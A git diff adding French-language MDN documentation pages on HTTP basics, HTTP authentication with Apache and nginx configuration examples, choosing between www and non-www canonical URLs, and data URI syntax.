+<p>Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire.</p>
+
+<p>HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent <em>chaudes</em> sont plus efficaces que les communications <em>froides.</em></p>
+
+<p>Afin de réduire ces défauts, HTTP/1.1 introduit le <em>pipelining</em> (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace</p>
+
+<p>Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, construit sur UDP pour fournir un protocole de transport plus fiable et efficace.</p>
+
+<h2 id="Ce_qui_peut_être_contrôlé_par_HTTP">Ce qui peut être contrôlé par HTTP</h2>
+
+<p>Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010.</p>
+
+<p>Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP.</p>
+
+<ul>
+ <li><em><a href="/fr/docs/Web/HTTP/Caching">Cache</a></em><br>
+  La façon dont les documents sont mis en cache peut être contrôlée par HTTP. Le serveur peut indiquer aux proxys et aux clients ce qu'ils doivent mettre en cache et pour combien de temps. Le client peut indiquer aux proxys de cache intermédiaires d'ignorer le document qui est stocké.</li>
+ <li><em>Lever la contrainte d'origine unique</em><br>
+  Pour éviter l'espionnage et d'autres invasions dans la vie privée, les navigateurs web imposent une séparation stricte entre les sites web. Seules les pages de la <strong>même {{Glossary("origine")}}</strong> peuvent accéder à toutes les informations d'une page web. Bien que cette contrainte soit un fardeau pour le serveur, les en-têtes HTTP peuvent assouplir cette séparation stricte du côté serveur, en permettant à un document de devenir un patchwork d'informations en provenance de différents domaines (il existe même des raisons de sécurité de procéder ainsi).</li>
+ <li><em>Authentification</em><br>
+  Certaines pages peuvent être protégées de sorte que seuls certains utilisateurs puissent y accéder. Une authentification simple peut être fournie par HTTP, soit en utilisant l'en-tête {{HTTPHeader ("WWW-Authenticate")}} et des en-têtes similaires, soit en définissant une session spécifique grâce à des <a href="/fr/docs/Web/HTTP/Cookies">cookies HTTP</a>.</li>
+ <li><a href="/fr/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxys et tunnels</a><br>
+  Les serveurs et/ou les clients sont souvent situés sur des intranets et cachent leur véritable adresse IP à d'autres. Les requêtes HTTP passent ensuite par des proxys pour traverser cette barrière de réseau. Tous les proxys ne sont pas des proxys HTTP. Le protocole SOCKS, par exemple, fonctionne à un niveau inférieur. D'autres, comme FTP, peuvent être manipulés par ces proxys.</li>
+ <li><em>Sessions</em><br>
+  L'utilisation de cookies HTTP permet de lier les requêtes à l'état du serveur. Cela crée des sessions, malgré le fait que HTTP soit, au sens strict, un protocole sans état. Ceci est utile non seulement pour les paniers de commerce électronique en ligne, mais aussi pour tout site permettant une configuration de l'utilisateur.</li>
+</ul>
+
+<h2 id="Flux_HTTP">Flux HTTP</h2>
+
+<p>Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes :</p>
+
+<ol>
+ <li>Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur.</li>
+ <li>Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même.
+  <pre class="line-numbers  language-html notranslate">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</pre>
+ </li>
+ <li>Il lit la réponse envoyée par le serveur :
+  <pre class="line-numbers  language-html notranslate">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (suivi des 29769 octets de la page web demandée)</pre>
+ </li>
+ <li>Il ferme ou réutilise la connexion pour les requêtes suivantes.</li>
+</ol>
+
+<p>Si le <em>pipeline</em> HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le <em>pipeline</em> HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline <em>HTTP</em> a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames.</p>
+
+<h2 id="Les_messages_HTTP">Les messages HTTP</h2>
+
+<p>Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1.</p>
+
+<p>Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format.</p>
+
+<h3 id="Requêtes">Requêtes</h3>
+
+<p>Un exemple de requête HTTP :</p>
+
+<p><img alt="Une requête HTTP basique" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>Une requête comprend les éléments suivants :</p>
+
+<ul>
+ <li>Une <a href="/fr/docs/Web/HTTP/Methods">méthode</a> HTTP : généralement un verbe tel que {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} ou un nom comme {{HTTPMethod("OPTIONS")}} ou {{HTTPMethod("HEAD")}} qui définit l'opération que le client souhaite effectuer. Par exemple, un client souhaite accéder à une ressource (en utilisant GET) ou téléverser le résultat d'un <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaire HTML</a> (en utilisant <code>POST</code>), bien que d'autres opérations puissent être nécessaires dans d'autres cas.</li>
+ <li>Le chemin de la ressource à extraire : l'URL de la ressource à laquelle on a retiré les éléments déductibles du contexte, par exemple le {{glossary ("protocole")}} (http://), le {{glossary ("domaine")}} (ici .mozilla.org), ou le {{glossary ("port")}} TCP (ici 80).</li>
+ <li>La version du protocole HTTP.</li>
+ <li>Les <a href="/fr/docs/HTTP/Headers">en-têtes</a> optionnels qui transmettent des informations supplémentaires pour les serveurs.</li>
+ <li>Ou un corps, pour certaines méthodes comme POST, semblable à ceux dans les réponses, qui contiennent la ressource envoyée.</li>
+</ul>
+
+<h3 id="Réponses">Réponses</h3>
+
+<p>Un exemple de réponse :</p>
+
+<p><img alt="une réponse HTTP" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>Une réponse comprend les éléments suivants:</p>
+
+<ul>
+ <li>La version du protocole HTTP qu'elle suit</li>
+ <li>Un <a href="/fr/docs/Web/HTTP/Status">code de statut</a>, qui indique si la requête a réussi ou non.</li>
+ <li>Un message de statut qui est une description rapide, informelle, du code de statut</li>
+ <li>Les <a href="/fr/docs/Web/HTTP/Headers">en-têtes</a> HTTP, comme pour les requêtes.</li>
+ <li>Éventuellement un corps contenant la ressource récupérée.</li>
+</ul>
+
+<h2 id="Les_APIs_basées_sur_HTTP">Les APIs basées sur HTTP</h2>
+
+<p>L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur.</p>
+
+<p>Une autre API, <a href="/fr/docs/Web/API/Server-sent_events">server-sent events</a>, est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web.</p>
+
+<p>Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple <a href="/fr/docs/Outils/Moniteur_réseau">moniteur de message HTTP</a>.</p>
diff --git a/files/fr/web/http/authentication/index.html b/files/fr/web/http/authentication/index.html
new file mode 100644
index 0000000000..87b0e287be
--- /dev/null
+++ b/files/fr/web/http/authentication/index.html
@@ -0,0 +1,126 @@
+---
+title: HTTP authentication
+slug: Web/HTTP/Authentication
+translation_of: Web/HTTP/Authentication
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est l'authentification "Basique" ("Basic authentication" en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur.</p>
+
+<h2 id="La_structure_d'authentification_HTTP">La structure d'authentification HTTP</h2>
+
+<p>La {{RFC("7235")}} définit la structure d'authentification HTTP qui est utilisable par un serveur pour {{glossary("challenge", "défier")}} une requête client, et inversement par un client pour fournir des informations d'authentification à un serveur. Le fonctionnement du défi/réponse se déroule ainsi : le serveur répond à un client avec un statut {{HTTPStatus("401")}} (Unauthorized) et fournit l'information permettant l'autorisation via un en-tête de réponse {{HTTPHeader("WWW-Authenticate")}} contenant au moins un défi. Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête {{HTTPHeader("Authorization")}} contenant ses identifiants. Très souvent, le client va demander à l'utilisateur un mot de passe  et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête <code>Authorization</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>Dans le cadre d'une authentification basique ("Basic authentication" en anglais) comme montré dans l'image ci-dessus, les échanges <strong>doivent</strong> s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée.</p>
+
+<h3 id="Authentification_par_procuration">Authentification par procuration</h3>
+
+<p>Le même mécanisme de défi et réponse peut être utilisée pour <em>l'authentification par procuration</em> (<em>Proxy authentication</em> en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est {{HTTPStatus("407")}} (Proxy Authentication Required), l'en-tête de réponse {{HTTPHeader("Proxy-Authenticate")}} contient au moins un défi applicable au système de procuration et l'en-tête de requête {{HTTPHeader("Proxy-Authorization")}} est utilisé pour fournir les identifiants au serveur de procuration.</p>
+
+<h3 id="Accès_interdit">Accès interdit</h3>
+
+<p>Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse {{HTTPStatus("403")}} <code>Forbidden</code>. Dans ce cas, à l'inverse des codes {{HTTPStatus("401")}} <code>Unauthorized</code> ou {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, l'authentification n'est pas possible pour cet utilisateur.</p>
+
+<h3 id="Authentification_des_images_multi-origines">Authentification des images multi-origines</h3>
+
+<p>Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> et version ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue ({{bug(1423146)}}) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page.</p>
+
+<h3 id="Encodage_de_caractère_de_l'authentification_HTTP">Encodage de caractère de l'authentification HTTP</h3>
+
+<p>Les navigateurs utilisent l'encodage de caractère <code>utf-8</code> pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage <code>ISO-8859-1</code>, mais l'a remplacé par <code>utf-8</code> afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le {{bug(1419658)}}.</p>
+
+<h3 id="En-têtes_WWW-Authenticate_et_Proxy-Authenticate">En-têtes <code>WWW-Authenticate</code> et <code>Proxy-Authenticate</code></h3>
+
+<p>Les en-têtes de réponse {{HTTPHeader("WWW-Authenticate")}} et {{HTTPHeader("Proxy-Authenticate")}} définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants. La syntaxe pour ces en-têtes est la suivante :</p>
+
+<p> </p>
+
+<pre class="syntaxbox">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;</pre>
+
+<p> </p>
+
+<p>Ici, <code>&lt;type&gt;</code> est le schéma d'authentification ("Basic" est le plus courant des schémas, et est présenté <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">ici</a>). Le <code>realm</code> (<em>domaine</em> en français) est utilisé pour décrire la "zone" protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message comme par exemple "Accès au site de pré-production", pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder.</p>
+
+<h3 id="En-têtes_Authorization_et_Proxy-Authorization">En-têtes <code>Authorization</code> et <code>Proxy-Authorization</code></h3>
+
+<p>Les en-têtes de requête {{HTTPHeader("Authorization")}} et {{HTTPHeader("Proxy-Authorization")}} contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé.</p>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Schéma_d'authentification">Schéma d'authentification</h3>
+
+<p>La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur.</p>
+
+<p>Le plus commun est le schéma d'authentification "Basique" ("Basic" en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une <a class="external external-icon" href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">liste des schéma d'authentification</a>, mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schéma communs sont :</p>
+
+<p> </p>
+
+<ul>
+ <li><strong>Basic</strong> (voir {{rfc(7617)}}, identifiants encodés en base64. Voir ci-dessous pour plus de détails.),</li>
+ <li><strong>Bearer</strong> (voir {{rfc(6750)}}, jetons <em>bearer </em>("porteur" en français) pour accéder à des ressources protégées par OAuth 2.0),</li>
+ <li><strong>Digest</strong> (voir {{rfc(7616)}}, Firefox n'est compatible qu'avec l'encryption md5, voir {{bug(472823)}} pour la compatibilité avec l'encryption SHA),</li>
+ <li><strong>HOBA</strong> (voir {{rfc(7486)}} (brouillon), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, basé sur une signature digitale),</li>
+ <li><strong>Mutual</strong> (voir <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li>
+ <li>
+  <p><strong>AWS4-HMAC-SHA256</strong> (voir <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Documentation AWS</a>).</p>
+ </li>
+</ul>
+
+<p> </p>
+
+<h2 id="Schéma_d'authentification_basique_(Basic)">Schéma d'authentification basique ("Basic")</h2>
+
+<p>Le schéma d'authentification "basique" est définit dans la {{rfc(7617)}}, et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64.</p>
+
+<h3 id="Sécurité_de_l'authentification_basique">Sécurité de l'authentification basique</h3>
+
+<p>Étant donnée que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma <strong>ne doit pas</strong> être utilisé pour protéger des informations sensibles.</p>
+
+<h3 id="Restreindre_l'accès_avec_Apache_et_l'authentification_basique">Restreindre l'accès avec Apache et l'authentification basique</h3>
+
+<p>Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers <code>.htaccess</code>  et <code>.htpasswd</code> .</p>
+
+<p>Le fichier <code>.htaccess</code> ressemble à ceci :</p>
+
+<pre>AuthType Basic
+AuthName "Accès au site de pré-production"
+AuthUserFile /chemin/vers/.htpasswd
+Require valid-user</pre>
+
+<p>Le fichier <code>.htaccess</code> fait référence à un fichier <code>.htpasswd</code> dans lequel chaque ligne contient un nom d'utilisateur ainsi qu'un mot de passe séparés par deux-points (":"). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur car ils sont <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encryptés</a> (md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier <code>.htpasswd</code> différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque. (Apache est normalement configuré pour empêcher l'accès aux fichiers <code>.ht*</code>).</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Restreindre_l'accès_avec_nginx_et_l'authentification_basique">Restreindre l'accès avec nginx et l'authentification basique</h3>
+
+<p>Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (<em>location</em> en anglais) à protéger, ainsi que la directive <code>auth_basic</code> définissant le nom de cette zone. La directive <code>auth_basic_user_file</code> fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus.</p>
+
+<pre>location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Accès_avec_identifiants_dans_l'URL">Accès avec identifiants dans l'URL</h3>
+
+<p>Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit :</p>
+
+<pre class="example-bad">https://utilisateur:password@www.example.com/</pre>
+
+<p><strong>L'utilisateur de ces URLs est déprécié.</strong> Dans Chrome, la partie <code>username:password@</code> dans les URLs est même <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">retirée pour des raisons de sécurité</a>. Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue "Vous êtes sur le point de vous connecter au site "www.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger."</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html b/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html
new file mode 100644
index 0000000000..fe94d1e4c9
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html
@@ -0,0 +1,69 @@
+---
+title: Choisir entre les URLs avec ou sans www
+slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www
+tags:
+  - Guide
+  - HTTP
+  - URL
+translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.</p>
+
+<h2 id="Que_sont_les_noms_de_domaines">Que sont les noms de domaines ?</h2>
+
+<p>Dans une URL HTTP, la première chaîne qui suit le schéma <code>http://</code> ou <code>https://</code> est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.</p>
+
+<p>Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, <em>un nom de domaine représente un seul serveur</em>.</p>
+
+<h2 id="Donc_je_dois_choisir_l'un_ou_l'autre_pour_mon_site_web">Donc je dois choisir l'un ou l'autre pour mon site web ?</h2>
+
+<ul>
+ <li><u>Oui</u>, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...).</li>
+ <li><u>Non</u>, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. <strong>Ce domaine est appelé le nom de domaine <em>canonique</em>.</strong> L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web.</li>
+</ul>
+
+<p>Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.</p>
+
+<h2 id="Techniques_pour_les_URLs_canoniques">Techniques pour les URLs canoniques</h2>
+
+<p>Il existe différentes manières de choisir le site web qui sera le site <em>canonique</em>.</p>
+
+<h3 id="Utiliser_la_redirection_via_HTTP_301">Utiliser la redirection via HTTP 301</h3>
+
+<p>Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.</p>
+
+<p>Exemple :</p>
+
+<ol>
+ <li>Un serveur reçoit une requête pour <code>https://www.exemple.org/kadoc</code> (tandis que le domaine canonique est constitué par exemple.org)</li>
+ <li>Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}<code>: https://exemple.org/kadoc</code>.</li>
+ <li>Le client émet une requête pour le domaine canonique : <code>https://exemple.org/kadoc</code></li>
+</ol>
+
+<p>Le <a href="https://github.com/h5bp/html5-boilerplate">projet HTML5 boilerplate</a> contient un exemple sur <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">la configuration d'un serveur Apache afin de rediriger un domaine vers un autre</a>.</p>
+
+<h3 id="Utiliser_&lt;_link_relcanonical>">Utiliser <em><code>&lt; link rel="canonical"&gt;</code></em></h3>
+
+<p>Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.</p>
+
+<p>Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent <code>https://www.exemple.org/kadoc</code> contiendrait le même contenu que <code>https://exemple.org/kadoc</code>, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :</p>
+
+<p><code>&lt; link href="https://exemple.org/kadoc" rel="canonical"&gt;</code></p>
+
+<p>À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.</p>
+
+<h2 id="Adapter_votre_page_aux_deux_cas">Adapter votre page aux deux cas</h2>
+
+<p>Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.</p>
+
+<h2 id="Choisir_www_ou_non">Choisir www ou non</h2>
+
+<p class="entry-title">Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire <a href="http://www.themezilla.com/should-you-use-www-in-your-url-or-not/">de nombreux</a> <a href="http://www.wpbeginner.com/beginners-guide/www-vs-non-www-which-is-better-for-wordpress-seo/">articles</a> sur ce sujet.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">Statistiques sur ce que les gens entrent dans la barre d'adresse</a> (2011)</li>
+</ul>
diff --git a/files/fr/web/http/basics_of_http/data_uris/index.html b/files/fr/web/http/basics_of_http/data_uris/index.html
new file mode 100644
index 0000000000..418099cb90
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/data_uris/index.html
@@ -0,0 +1,122 @@
+---
+title: URLs de données
+slug: Web/HTTP/Basics_of_HTTP/Data_URIs
+tags:
+  - Base64
+  - Guide
+  - HTTP
+  - Intermédiaire
+  - URL
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Les URLs de données</strong>, les URLs préfixées par le schéma <code>data:</code>, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Les URLs de données sont composées de quatre parties : un préfixe (<code>data:</code>), un type MIME indiquant le type de donnée, un jeton facultatif encodé en <code>base64</code> dans le cas où il n'est pas textuel ainsi que les données elles-mêmes :</p>
+
+<pre class="syntaxbox">data:[&lt;mediatype&gt;][;base64],&lt;data&gt;
+</pre>
+
+<p>Le <code>mediatype</code> est une chaîne de type MIME, telle que <code>'image/jpeg'</code> pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera <code>text/plain;charset=US-ASCII</code>.</p>
+
+<p>Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier <code>base64</code> pour intégrer des données binaires encodées en base64.</p>
+
+<p>Quelques exemples :</p>
+
+<dl>
+ <dt><code>data:,Hello%2C%20World!</code></dt>
+ <dd>Texte simple / Données brutes</dd>
+ <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt>
+ <dd>Version encodée en base64 de ce qui précède</dd>
+ <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt>
+ <dd>Un document HTML avec <code>&lt;h1&gt;Hello, World!&lt;/h1&gt;</code></dd>
+ <dt><code>data:text/html,&lt;script&gt;alert('hi');&lt;/script&gt;</code></dt>
+ <dd>Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise.</dd>
+</dl>
+
